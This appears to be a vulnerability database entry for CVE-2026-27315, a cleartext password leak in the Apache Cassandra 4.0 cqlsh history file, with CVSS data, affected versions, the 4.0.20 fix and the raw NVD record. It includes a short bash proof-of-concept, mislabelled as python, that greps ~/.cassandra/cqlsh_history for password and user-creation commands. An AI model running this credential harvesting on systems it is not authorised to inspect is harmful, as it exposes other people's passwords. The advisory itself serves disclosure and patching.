Security Vulnerability Report
中文
CVE-2026-27315 CVSS 5.5 MEDIUM

CVE-2026-27315

Published: 2026-04-07 17:16:28
Last Modified: 2026-04-15 15:47:58

Description

Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via  ~/.cassandra/cqlsh_history local file access. Users are recommended to upgrade to version 4.0.20, which fixes this issue. -- Description: Cassandra's command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user's home directory. However, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:cassandra:*:*:*:*:*:*:*:* - VULNERABLE
Apache Cassandra 4.0 < 4.0.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-27315: Sensitive Information Leak in cqlsh # This script checks the cqlsh history file for potential plaintext passwords. HISTORY_FILE="$HOME/.cassandra/cqlsh_history" if [ -f "$HISTORY_FILE" ]; then echo "[+] Found cqlsh history file at: $HISTORY_FILE" echo "[+] Searching for potential passwords..." # Search for common keywords associated with password usage in CQL grep -i -E "(PASSWORD|LOGIN|CREATE USER|ALTER USER)" "$HISTORY_FILE" else echo "[-] cqlsh history file not found." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27315", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:27.827", "lastModified": "2026-04-15T15:47:57.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via  ~/.cassandra/cqlsh_history local file access.\n\nUsers are recommended to upgrade to version 4.0.20, which fixes this issue.\n\n--\nDescription: Cassandra's command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user's home directory.\n\nHowever, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cassandra:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.20", "matchCriteriaId": "C531A747-3AEF-4CDC-B614-784DC3B6213E"}]}]}], "references": [{"url": "https://issues.apache.org/jira/browse/CASSANDRA-21180", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Issue Tracking"]}, {"url": "https://lists.apache.org/thread/ft77zrk2mzt8qsch4g6jqjj4901d22k3", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}